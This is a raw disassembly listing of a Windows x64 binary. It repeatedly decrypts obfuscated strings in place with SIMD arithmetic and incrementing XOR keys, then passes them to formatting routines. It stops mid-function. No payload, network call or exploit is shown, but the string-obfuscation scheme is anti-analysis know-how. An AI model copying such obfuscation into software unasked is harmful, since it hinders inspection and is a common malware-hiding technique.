call fcn.1400cecd0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x1400cade0
mov r8d, r15d
cmp r12d, 2
jl 0x1400cada3
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400cadb0
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov r9d, 0x64
xor r8d, r8d
lea rdx, [0x140196f24]
mov rcx, r10
call fcn.140056e10
lea rdx, [rbp + 0xaae]
lea rcx, [rbp - 0x28]
call fcn.1400ced00
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x1400caf70
mov r8d, r15d
cmp r12d, 2
jl 0x1400caf37
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400caf40
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov r9d, 0x64
xor r8d, r8d
lea rdx, [0x140196dcc]
mov rcx, r10
call fcn.140056e10
lea rdx, [rbp + 0x679]
lea rcx, [rbp - 0x27]
call fcn.1400ced30
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1400cafcf
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov r9d, 0x64
xor r8d, r8d
lea rdx, [0x140196e74]
mov rcx, rax
call fcn.140056e10
lea rdx, [rbp + 0x182]
lea rcx, [rbp - 0x26]
call fcn.1400ced50
movzx ecx, byte [rax + 6]
test cl, cl
je 0x1400cb026
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor cl, 0x3a
mov byte [rax + 6], cl
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov r9d, 0x64
xor r8d, r8d
lea rdx, [0x140196fa4]
mov rcx, rax
call fcn.140056e10
lea rdx, [rbp]
lea rcx, [rbp - 0x25]
call fcn.1400ced80
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x1400cb1f0
mov r8d, r15d
cmp r12d, 2
jl 0x1400cb1b7
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400cb0b0
cmp r8d, 0x11
jge 0x1400cb1f0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400cb1c0
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov r9d, 0x64
xor r8d, r8d
lea rdx, [0x140196fa0]
mov rcx, r10
call fcn.140056e10
lea rdx, [rbp + 0xe90]
lea rcx, [rbp - 0x24]
call fcn.1400ceda0
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x1400cb3c2
mov r8d, r15d
cmp r12d, 2
jl 0x1400cb381
movdqa xmm5, xmmword [0x14016c130]
mov edx, r15d
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov ebx, Ordinal_35
movd xmm8, ebx
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, rax
mov r8d, dword [rbp + 0x30]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400cb280
jmp 0x1400cb3c7
mov r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400cb390
mov ebx, Ordinal_35
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov r9d, 0x64
xor r8d, r8d
lea rdx, [0x140196e80]
mov rcx, r10
call fcn.140056e10
lea rdx, [rbp]
lea rcx, [rbp - 0x23]
call fcn.1400cedb0
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x1400cb590
mov r8d, r15d
cmp r12d, 2
jl 0x1400cb557
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
movd xmm8, ebx
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rbp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400cb450
cmp r8d, 0x12
jge 0x1400cb590
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x1400cb560
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov r9d, 0x64
xor r8d, r8d
lea rdx, [0x140196fec]
mov rcx, r10
call fcn.140056e10
lea rdx, [rbp + 0xa27]
lea rcx, [rbp - 0x22]
call fcn.1400cedd0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x1400cb720
mov r8d, r15d
cmp r12d, 2
jl 0x1400cb6e2
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
movd xmm6, ebx
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400cb6f0
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov r9d, 0x64
xor r8d, r8d
lea rdx, [0x140196e70]
mov rcx, r10
call fcn.140056e10
mov eax, dword [reloc.WS2_32.dll_accept]
cmp eax, 3
jne 0x1400cbb26
lea rdx, [rbp + 0x11a]
lea rcx, [rbp - 0x21]
call fcn.1400ce330
movzx ecx, byte [rax + 5]
test cl, cl
je 0x1400cb782
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor cl, 0x39
mov byte [rax + 5], cl
mov dword [rsp + 0x20], 0xffffffff
mov r9d, ntohl
lea r8, str.Flash
lea rdx, [0x14019757c]
mov rcx, rax
call fcn.140054870
lea rdx, [rbp]
lea rcx, [rbp - 0x20]
call fcn.1400cee00
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x1400cb950
mov r8d, r15d
cmp r12d, 2
jl 0x1400cb917
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400cb810
cmp r8d, 0x11
jge 0x1400cb950
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400cb920
mov dword [rsp + 0x28], r15d
lea rbx, str._.3f
mov qword [rsp + 0x20], rbx
movaps xmm3, xmm13
movss xmm6, dword [0x14016bc08]
movaps xmm2, xmm6
lea rdx, [0x14018115c]
mov rcx, r10
call fcn.140056dc0
lea rdx, [rbp + 0xabc]
lea rcx, [rbp - 0x1f]
call fcn.1400cee20
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x1400cbb00
mov r8d, r15d
cmp r12d, 2
jl 0x1400cbabc
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
movss xmm6, dword [0x14016bc08]
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400cbad0
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rbx
movaps xmm3, xmm13
movaps xmm2, xmm6
lea rdx, [0x1401811dc]
mov rcx, r10
call fcn.140056dc0
mov eax, dword [reloc.WS2_32.dll_accept]
cmp eax, 4
jne 0x1400cbfe8
lea rdx, [rbp + 0x75f]
lea rcx, [rbp - 0x1e]
call fcn.1400cee50
movzx ecx, byte [rax + 9]
test cl, cl
je 0x1400cbb70
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor cl, 0x3d
mov byte [rax + 9], cl
lea rdx, [0x140196fbc]
mov rcx, rax
call fcn.140051f50
lea rdx, [rbp + 0x682]
lea rcx, [rbp - 0x1d]
call fcn.1400cee70
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1400cbbbc
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
lea rdx, [0x140196fb0]
mov rcx, rax
call fcn.140051f50
lea rdx, [rbp + 0x68b]
lea rcx, [rbp - 0x1c]
call fcn.1400cee90
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1400cbc08
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
lea rdx, [0x140196fd5]
mov rcx, rax
call fcn.140051f50
lea rdx, [rbp + 0x694]
lea rcx, [rbp - 0x1b]
call fcn.1400ceeb0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1400cbc54
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
lea rdx, [0x140196fc3]
mov rcx, rax
call fcn.140051f50
lea rdx, [rbp]
lea rcx, [rbp - 0x1a]
call fcn.1400ceed0
mov r10, rax
cmp byte [rax + 0x14], 0
je 0x1400cbe10
mov r8d, r15d
cmp r12d, 2
jl 0x1400cbdd7
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400cbcd0
cmp r8d, 0x15
jge 0x1400cbe10
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400cbde0
lea rdx, [0x140196fac]
mov rcx, r10
call fcn.140051f50
lea rdx, [rbp + 0x58]
lea rcx, [rbp - 0x19]
call fcn.1400cef00
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x1400cbfc0
mov r8d, r15d
cmp r12d, 2
jl 0x1400cbf87
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
